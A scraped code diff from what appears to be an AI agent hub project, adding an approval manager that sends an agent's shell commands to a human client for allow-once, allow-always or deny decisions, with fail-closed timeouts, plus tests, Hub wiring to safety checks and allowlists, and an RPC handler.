|
||||
expect(allowResult.approved).toBe(true);
|
||||
expect(allowResult.decision).toBe("allow-once");
|
||||
|
||||
const denyPromise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
askFallback: "allowlist",
|
||||
allowlistSatisfied: false,
|
||||
});
|
||||
|
||||
vi.advanceTimersByTime(6000);
|
||||
|
||||
const denyResult = await denyPromise;
|
||||
expect(denyResult.approved).toBe(false);
|
||||
expect(denyResult.decision).toBe("deny");
|
||||
});
|
||||
|
||||
it("returns false when resolving unknown approval", () => {
|
||||
const resolved = manager.resolveApproval("unknown-id", "allow-once");
|
||||
expect(resolved).toBe(false);
|
||||
});
|
||||
|
||||
it("returns false when resolving already-resolved approval", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const request = sendToClient.mock.calls[0]![1];
|
||||
|
||||
// First resolve succeeds
|
||||
expect(manager.resolveApproval(request.approvalId, "allow-once")).toBe(true);
|
||||
// Second resolve fails
|
||||
expect(manager.resolveApproval(request.approvalId, "deny")).toBe(false);
|
||||
|
||||
await promise;
|
||||
});
|
||||
|
||||
it("cancels all pending approvals for an agent", async () => {
|
||||
const promise1 = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd1",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const promise2 = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd2",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const promise3 = manager.requestApproval({
|
||||
agentId: "agent-2",
|
||||
command: "cmd3",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
// Cancel agent-1's approvals
|
||||
manager.cancelPending("agent-1");
|
||||
|
||||
const result1 = await promise1;
|
||||
const result2 = await promise2;
|
||||
|
||||
expect(result1.approved).toBe(false);
|
||||
expect(result1.decision).toBe("deny");
|
||||
expect(result2.approved).toBe(false);
|
||||
expect(result2.decision).toBe("deny");
|
||||
|
||||
// agent-2's approval should still be pending
|
||||
expect(manager.pendingCount).toBe(1);
|
||||
|
||||
// Resolve agent-2's approval
|
||||
const request3 = sendToClient.mock.calls[2]![1];
|
||||
manager.resolveApproval(request3.approvalId, "allow-once");
|
||||
const result3 = await promise3;
|
||||
expect(result3.approved).toBe(true);
|
||||
});
|
||||
|
||||
it("auto-denies when sendToClient throws", async () => {
|
||||
const failingSender = vi.fn().mockImplementation(() => {
|
||||
throw new Error("Connection lost");
|
||||
});
|
||||
const failManager = new ExecApprovalManager(failingSender, 5000);
|
||||
|
||||
const result = await failManager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
expect(result.approved).toBe(false);
|
||||
expect(result.decision).toBe("deny");
|
||||
});
|
||||
|
||||
it("getSnapshot returns request details", () => {
|
||||
manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "ls",
|
||||
riskLevel: "safe",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const request = sendToClient.mock.calls[0]![1];
|
||||
const snapshot = manager.getSnapshot(request.approvalId);
|
||||
|
||||
expect(snapshot).toBeTruthy();
|
||||
expect(snapshot!.command).toBe("ls");
|
||||
expect(snapshot!.agentId).toBe("agent-1");
|
||||
});
|
||||
|
||||
it("getSnapshot returns null for unknown id", () => {
|
||||
expect(manager.getSnapshot("unknown")).toBeNull();
|
||||
});
|
||||
|
||||
it("tracks pendingCount correctly", () => {
|
||||
expect(manager.pendingCount).toBe(0);
|
||||
|
||||
manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd1",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
expect(manager.pendingCount).toBe(1);
|
||||
|
||||
manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd2",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
expect(manager.pendingCount).toBe(2);
|
||||
|
||||
const request = sendToClient.mock.calls[0]![1];
|
||||
manager.resolveApproval(request.approvalId, "deny");
|
||||
expect(manager.pendingCount).toBe(1);
|
||||
});
|
||||
});
|
||||
144
src/hub/exec-approval-manager.ts
Normal file
144
src/hub/exec-approval-manager.ts
Normal file
|
|
@ -0,0 +1,144 @@
|
|||
/**
|
||||
* Exec Approval Manager — Hub-side approval tracking
|
||||
*
|
||||
* Manages pending approval requests, sends them to connected clients,
|
||||
* and resolves them when clients respond via RPC.
|
||||
*/
|
||||
|
||||
import { v7 as uuidv7 } from "uuid";
|
||||
import type {
|
||||
ExecApprovalRequest,
|
||||
ApprovalDecision,
|
||||
ApprovalResult,
|
||||
} from "../agent/tools/exec-approval-types.js";
|
||||
import { DEFAULT_APPROVAL_TIMEOUT_MS } from "../agent/tools/exec-approval-types.js";
|
||||
|
||||
interface PendingEntry {
|
||||
resolve: (result: ApprovalResult) => void;
|
||||
timer: NodeJS.Timeout;
|
||||
request: ExecApprovalRequest;
|
||||
}
|
||||
|
||||
/**
|
||||
* Callback type for sending approval requests to clients.
|
||||
* The Hub wires this to Gateway message sending.
|
||||
*/
|
||||
export type SendApprovalToClient = (
|
||||
agentId: string,
|
||||
payload: ExecApprovalRequest,
|
||||
) => void;
|
||||
|
||||
export class ExecApprovalManager {
|
||||
private readonly pending = new Map<string, PendingEntry>();
|
||||
|
||||
constructor(
|
||||
private readonly sendToClient: SendApprovalToClient,
|
||||
private readonly defaultTimeoutMs: number = DEFAULT_APPROVAL_TIMEOUT_MS,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Create an approval request and send it to the client.
|
||||
* Returns a Promise that resolves when the client responds or times out.
|
||||
*/
|
||||
requestApproval(params: {
|
||||
agentId: string;
|
||||
command: string;
|
||||
cwd?: string;
|
||||
riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
riskReasons: string[];
|
||||
timeoutMs?: number;
|
||||
askFallback?: "deny" | "allowlist" | "full";
|
||||
allowlistSatisfied?: boolean;
|
||||
}): Promise<ApprovalResult> {
|
||||
const approvalId = uuidv7();
|
||||
const timeoutMs = params.timeoutMs ?? this.defaultTimeoutMs;
|
||||
const expiresAtMs = Date.now() + timeoutMs;
|
||||
|
||||
const request: ExecApprovalRequest = {
|
||||
approvalId,
|
||||
agentId: params.agentId,
|
||||
command: params.command,
|
||||
cwd: params.cwd,
|
||||
riskLevel: params.riskLevel,
|
||||
riskReasons: params.riskReasons,
|
||||
expiresAtMs,
|
||||
};
|
||||
|
||||
return new Promise<ApprovalResult>((resolve) => {
|
||||
// Timeout: follow askFallback (default: fail-closed)
|
||||
const timer = setTimeout(() => {
|
||||
if (this.pending.has(approvalId)) {
|
||||
this.pending.delete(approvalId);
|
||||
const fallback = params.askFallback ?? "deny";
|
||||
const decision =
|
||||
fallback === "full" ||
|
||||
(fallback === "allowlist" && params.allowlistSatisfied)
|
||||
? "allow-once"
|
||||
: "deny";
|
||||
resolve({ approved: decision !== "deny", decision });
|
||||
}
|
||||
}, timeoutMs);
|
||||
|
||||
this.pending.set(approvalId, { resolve, timer, request });
|
||||
|
||||
// Send to client via Gateway
|
||||
try {
|
||||
this.sendToClient(params.agentId, request);
|
||||
} catch (err) {
|
||||
// If sending fails, auto-deny (fail-closed)
|
||||
clearTimeout(timer);
|
||||
this.pending.delete(approvalId);
|
||||
console.error(`[ExecApprovalManager] Failed to send approval request: ${err}`);
|
||||
resolve({ approved: false, decision: "deny" });
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a pending approval with a client decision.
|
||||
* Returns true if the approval was found and resolved, false otherwise.
|
||||
*/
|
||||
resolveApproval(approvalId: string, decision: ApprovalDecision): boolean {
|
||||
const entry = this.pending.get(approvalId);
|
||||
if (!entry) return false;
|
||||
|
||||
clearTimeout(entry.timer);
|
||||
this.pending.delete(approvalId);
|
||||
|
||||
entry.resolve({
|
||||
approved: decision !== "deny",
|
||||
decision,
|
||||
});
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Cancel all pending approvals for an agent (e.g., on agent close).
|
||||
* All pending requests are resolved as denied.
|
||||
*/
|
||||
cancelPending(agentId: string): void {
|
||||
for (const [id, entry] of this.pending) {
|
||||
if (entry.request.agentId === agentId) {
|
||||
clearTimeout(entry.timer);
|
||||
this.pending.delete(id);
|
||||
entry.resolve({ approved: false, decision: "deny" });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a snapshot of a pending approval request (for debugging).
|
||||
*/
|
||||
getSnapshot(approvalId: string): ExecApprovalRequest | null {
|
||||
const entry = this.pending.get(approvalId);
|
||||
return entry ? { ...entry.request } : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get count of pending approvals (for monitoring).
|
||||
*/
|
||||
get pendingCount(): number {
|
||||
return this.pending.size;
|
||||
}
|
||||
}
|
||||
152
src/hub/hub.ts
152
src/hub/hub.ts
|
|
@ -1,3 +1,4 @@
|
|||
import { v7 as uuidv7 } from "uuid";
|
||||
import {
|
||||
GatewayClient,
|
||||
type ConnectionState,
|
||||
|
|
@ -23,16 +24,25 @@ import { createDeleteAgentHandler } from "./rpc/handlers/delete-agent.js";
|
|||
import { createUpdateGatewayHandler } from "./rpc/handlers/update-gateway.js";
|
||||
import { DeviceStore, type DeviceMeta } from "./device-store.js";
|
||||
import { createVerifyHandler } from "./rpc/handlers/verify.js";
|
||||
import { ExecApprovalManager } from "./exec-approval-manager.js";
|
||||
import { createResolveExecApprovalHandler } from "./rpc/handlers/resolve-exec-approval.js";
|
||||
import { evaluateCommandSafety, requiresApproval } from "../agent/tools/exec-safety.js";
|
||||
import { addAllowlistEntry, recordAllowlistUse, matchAllowlist } from "../agent/tools/exec-allowlist.js";
|
||||
import type { ExecApprovalCallback, ExecApprovalConfig, ApprovalResult, ExecApprovalRequest } from "../agent/tools/exec-approval-types.js";
|
||||
import { readProfileConfig, writeProfileConfig } from "../agent/profile/storage.js";
|
||||
|
||||
export class Hub {
|
||||
private readonly agents = new Map<string, AsyncAgent>();
|
||||
private readonly agentSenders = new Map<string, string>();
|
||||
private readonly agentStreamIds = new Map<string, string>();
|
||||
private readonly agentStreamCounters = new Map<string, number>();
|
||||
private readonly localApprovalHandlers = new Map<string, (payload: ExecApprovalRequest) => void>();
|
||||
private readonly rpc: RpcDispatcher;
|
||||
private readonly approvalManager: ExecApprovalManager;
|
||||
private client: GatewayClient;
|
||||
readonly deviceStore: DeviceStore;
|
||||
private _onConfirmDevice: ((deviceId: string, agentId: string, meta?: DeviceMeta) => Promise<boolean>) | null = null;
|
||||
private _stateChangeListeners: ((state: ConnectionState) => void)[] = [];
|
||||
url: string;
|
||||
readonly path: string;
|
||||
readonly hubId: string;
|
||||
|
|
@ -67,6 +77,23 @@ export class Hub {
|
|||
this.rpc.register("deleteAgent", createDeleteAgentHandler(this));
|
||||
this.rpc.register("updateGateway", createUpdateGatewayHandler(this));
|
||||
|
||||
// Initialize exec approval manager
|
||||
this.approvalManager = new ExecApprovalManager((agentId, payload) => {
|
||||
// Check local IPC handler first (for desktop direct chat)
|
||||
const localHandler = this.localApprovalHandlers.get(agentId);
|
||||
if (localHandler) {
|
||||
localHandler(payload);
|
||||
return;
|
||||
}
|
||||
// Remote: send via Gateway
|
||||
const targetDeviceId = this.agentSenders.get(agentId);
|
||||
if (!targetDeviceId) {
|
||||
throw new Error(`No client device found for agent ${agentId}`);
|
||||
}
|
||||
this.client.send(targetDeviceId, "exec-approval-request", payload);
|
||||
});
|
||||
this.rpc.register("resolveExecApproval", createResolveExecApprovalHandler(this.approvalManager));
|
||||
|
||||
// Register as global singleton for cross-module access (subagent tools, announce flow)
|
||||
setHub(this);
|
||||
|
||||
|
|
@ -101,6 +128,9 @@ export class Hub {
|
|||
|
||||
client.onStateChange((state) => {
|
||||
console.log(`[Hub] Connection state: ${state}`);
|
||||
for (const listener of this._stateChangeListeners) {
|
||||
listener(state);
|
||||
}
|
||||
});
|
||||
|
||||
client.onRegistered((deviceId) => {
|
||||
|
|
@ -175,6 +205,15 @@ export class Hub {
|
|||
this._onConfirmDevice = handler;
|
||||
}
|
||||
|
||||
/** Subscribe to connection state changes. Returns unsubscribe function. */
|
||||
onConnectionStateChange(callback: (state: ConnectionState) => void): () => void {
|
||||
this._stateChangeListeners.push(callback);
|
||||
return () => {
|
||||
const idx = this._stateChangeListeners.indexOf(callback);
|
||||
if (idx >= 0) this._stateChangeListeners.splice(idx, 1);
|
||||
};
|
||||
}
|
||||
|
||||
/** Register a one-time token for device verification (called when QR code is generated) */
|
||||
registerToken(token: string, agentId: string, expiresAt: number): void {
|
||||
this.deviceStore.registerToken(token, agentId, expiresAt);
|
||||
|
|
@ -189,6 +228,21 @@ export class Hub {
|
|||
this.client.connect();
|
||||
}
|
||||
|
||||
/** Register a local IPC handler for exec approval requests (desktop direct chat). */
|
||||
setLocalApprovalHandler(agentId: string, handler: (payload: ExecApprovalRequest) => void): void {
|
||||
this.localApprovalHandlers.set(agentId, handler);
|
||||
}
|
||||
|
||||
/** Remove local approval handler for an agent. */
|
||||
removeLocalApprovalHandler(agentId: string): void {
|
||||
this.localApprovalHandlers.delete(agentId);
|
||||
}
|
||||
|
||||
/** Resolve a pending exec approval (used by local IPC). */
|
||||
resolveExecApproval(approvalId: string, decision: "allow-once" | "allow-always" | "deny"): boolean {
|
||||
return this.approvalManager.resolveApproval(approvalId, decision);
|
||||
}
|
||||
|
||||
/** Create new Agent, or rebuild with existing ID */
|
||||
createAgent(id?: string, options?: { persist?: boolean; profileId?: string }): AsyncAgent {
|
||||
if (id) {
|
||||
|
|
@ -198,7 +252,10 @@ export class Hub {
|
|||
}
|
||||
}
|
||||
|
||||
const agent = new AsyncAgent({ sessionId: id, profileId: options?.profileId ?? "default" });
|
||||
const profileId = options?.profileId ?? "default";
|
||||
const sessionId = id ?? uuidv7();
|
||||
const onExecApprovalNeeded = this.createExecApprovalCallback(sessionId, profileId);
|
||||
const agent = new AsyncAgent({ sessionId, profileId, onExecApprovalNeeded });
|
||||
this.agents.set(agent.sessionId, agent);
|
||||
|
||||
// Persist to agent store (skip during restore to avoid duplicates)
|
||||
|
|
@ -336,6 +393,96 @@ export class Hub {
|
|||
return agent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an exec approval callback for an agent.
|
||||
* This wires the safety evaluation + Hub approval manager together.
|
||||
*/
|
||||
private createExecApprovalCallback(sessionId: string, profileId: string): ExecApprovalCallback {
|
||||
return async (command: string, cwd: string | undefined): Promise<ApprovalResult> => {
|
||||
// Load exec approval config from profile
|
||||
let config: ExecApprovalConfig = {};
|
||||
try {
|
||||
const profileConfig = readProfileConfig(profileId);
|
||||
config = profileConfig?.execApproval ?? {};
|
||||
} catch {
|
||||
// No profile config, use defaults
|
||||
}
|
||||
|
||||
const security = config.security ?? "allowlist";
|
||||
const ask = config.ask ?? "on-miss";
|
||||
|
||||
// Security: deny blocks everything
|
||||
if (security === "deny") {
|
||||
return { approved: false, decision: "deny" };
|
||||
}
|
||||
|
||||
// Security: full allows everything
|
||||
if (security === "full") {
|
||||
return { approved: true, decision: "allow-once" };
|
||||
}
|
||||
|
||||
// Evaluate safety
|
||||
const evaluation = evaluateCommandSafety(command, config);
|
||||
|
||||
// Check if approval is needed
|
||||
const needsApproval = requiresApproval({
|
||||
ask,
|
||||
security,
|
||||
analysisOk: evaluation.analysisOk,
|
||||
allowlistSatisfied: evaluation.allowlistSatisfied,
|
||||
});
|
||||
|
||||
if (!needsApproval) {
|
||||
// Record allowlist usage
|
||||
if (evaluation.allowlistSatisfied) {
|
||||
const match = matchAllowlist(config.allowlist ?? [], command);
|
||||
if (match) {
|
||||
try {
|
||||
const profileConfig = readProfileConfig(profileId) ?? {};
|
||||
const updated = recordAllowlistUse(profileConfig.execApproval?.allowlist ?? [], match, command);
|
||||
writeProfileConfig(profileId, { ...profileConfig, execApproval: { ...config, allowlist: updated } });
|
||||
} catch {
|
||||
// Non-critical: don't fail command for usage recording
|
||||
}
|
||||
}
|
||||
}
|
||||
return { approved: true, decision: "allow-once" };
|
||||
}
|
||||
|
||||
// Request approval via Hub → Gateway → Client
|
||||
const result = await this.approvalManager.requestApproval({
|
||||
agentId: sessionId,
|
||||
command,
|
||||
cwd,
|
||||
riskLevel: evaluation.riskLevel,
|
||||
riskReasons: evaluation.reasons,
|
||||
timeoutMs: config.timeoutMs,
|
||||
askFallback: config.askFallback,
|
||||
allowlistSatisfied: evaluation.allowlistSatisfied,
|
||||
});
|
||||
|
||||
// Handle allow-always: persist to profile allowlist
|
||||
if (result.decision === "allow-always") {
|
||||
try {
|
||||
const profileConfig = readProfileConfig(profileId) ?? {};
|
||||
const currentAllowlist = profileConfig.execApproval?.allowlist ?? [];
|
||||
// Extract binary pattern for allowlist
|
||||
const binary = command.trim().split(/\s+/)[0];
|
||||
const pattern = binary ? `${binary} **` : command;
|
||||
const updated = addAllowlistEntry(currentAllowlist, pattern);
|
||||
writeProfileConfig(profileId, {
|
||||
...profileConfig,
|
||||
execApproval: { ...config, allowlist: updated },
|
||||
});
|
||||
} catch {
|
||||
// Non-critical: command still allowed even if persistence fails
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
}
|
||||
|
||||
getAgent(id: string): AsyncAgent | undefined {
|
||||
return this.agents.get(id);
|
||||
}
|
||||
|
|
@ -350,10 +497,12 @@ export class Hub {
|
|||
const agent = this.agents.get(id);
|
||||
if (!agent) return false;
|
||||
agent.close();
|
||||
this.approvalManager.cancelPending(id);
|
||||
this.agents.delete(id);
|
||||
this.agentSenders.delete(id);
|
||||
this.agentStreamIds.delete(id);
|
||||
this.agentStreamCounters.delete(id);
|
||||
this.localApprovalHandlers.delete(id);
|
||||
removeAgentRecord(id);
|
||||
return true;
|
||||
}
|
||||
|
|
@ -368,6 +517,7 @@ export class Hub {
|
|||
this.agentSenders.delete(id);
|
||||
this.agentStreamIds.delete(id);
|
||||
this.agentStreamCounters.delete(id);
|
||||
this.localApprovalHandlers.delete(id);
|
||||
}
|
||||
this.client.disconnect();
|
||||
console.log("Hub shut down");
|
||||
|
|
|
|||
|
|
@ -3,6 +3,9 @@ import { SessionManager } from "../../../agent/session/session-manager.js";
|
|||
import { resolveSessionPath } from "../../../agent/session/storage.js";
|
||||
import { RpcError, type RpcHandler } from "../dispatcher.js";
|
||||
|
||||
// Must match DEFAULT_MESSAGES_LIMIT from @multica/sdk/actions/rpc
|
||||
const DEFAULT_LIMIT = 200;
|
||||
|
||||
interface GetAgentMessagesParams {
|
||||
agentId: string;
|
||||
offset?: number;
|
||||
|
|
@ -14,7 +17,8 @@ export function createGetAgentMessagesHandler(): RpcHandler {
|
|||
if (!params || typeof params !== "object") {
|
||||
throw new RpcError("INVALID_PARAMS", "params must be an object");
|
||||
}
|
||||
const { agentId, offset = 0, limit = 50 } = params as GetAgentMessagesParams;
|
||||
const { agentId, limit = DEFAULT_LIMIT } = params as GetAgentMessagesParams;
|
||||
let { offset } = params as GetAgentMessagesParams;
|
||||
if (!agentId) {
|
||||
throw new RpcError("INVALID_PARAMS", "Missing required param: agentId");
|
||||
}
|
||||
|
|
@ -27,6 +31,12 @@ export function createGetAgentMessagesHandler(): RpcHandler {
|
|||
const session = new SessionManager({ sessionId: agentId });
|
||||
const allMessages = session.loadMessages();
|
||||
const total = allMessages.length;
|
||||
|
||||
// When offset is not provided, return the latest messages
|
||||
if (offset == null) {
|
||||
offset = Math.max(0, total - limit);
|
||||
}
|
||||
|
||||
const sliced = allMessages.slice(offset, offset + limit);
|
||||
|
||||
return { messages: sliced, total, offset, limit };
|
||||
|
|
|
|||
34
src/hub/rpc/handlers/resolve-exec-approval.ts
Normal file
34
src/hub/rpc/handlers/resolve-exec-approval.ts
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
import type { RpcHandler } from "../dispatcher.js";
|
||||
import { RpcError } from "../dispatcher.js";
|
||||
import type { ExecApprovalManager } from "../../exec-approval-manager.js";
|
||||
import type { ApprovalDecision } from "../../../agent/tools/exec-approval-types.js";
|
||||
|
||||
interface ResolveExecApprovalParams {
|
||||
approvalId: string;
|
||||
decision: ApprovalDecision;
|
||||
}
|
||||
|
||||
const VALID_DECISIONS = new Set<ApprovalDecision>(["allow-once", "allow-always", "deny"]);
|
||||
|
||||
export function createResolveExecApprovalHandler(
|
||||
approvalManager: ExecApprovalManager,
|
||||
): RpcHandler {
|
||||
return async (params: unknown) => {
|
||||
const { approvalId, decision } = (params ?? {}) as ResolveExecApprovalParams;
|
||||
|
||||
if (!approvalId || typeof approvalId !== "string") {
|
||||
throw new RpcError("INVALID_PARAMS", "approvalId is required");
|
||||
}
|
||||
|
||||
if (!decision || !VALID_DECISIONS.has(decision)) {
|
||||
throw new RpcError("INVALID_PARAMS", `Invalid decision: ${decision}. Must be allow-once, allow-always, or deny`);
|
||||
}
|
||||
|
||||
const resolved = approvalManager.resolveApproval(approvalId, decision);
|
||||
if (!resolved) {
|
||||
throw new RpcError("NOT_FOUND", "Approval request not found or already resolved");
|
||||
}
|
||||
|
||||
return { ok: true };
|
||||
};
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue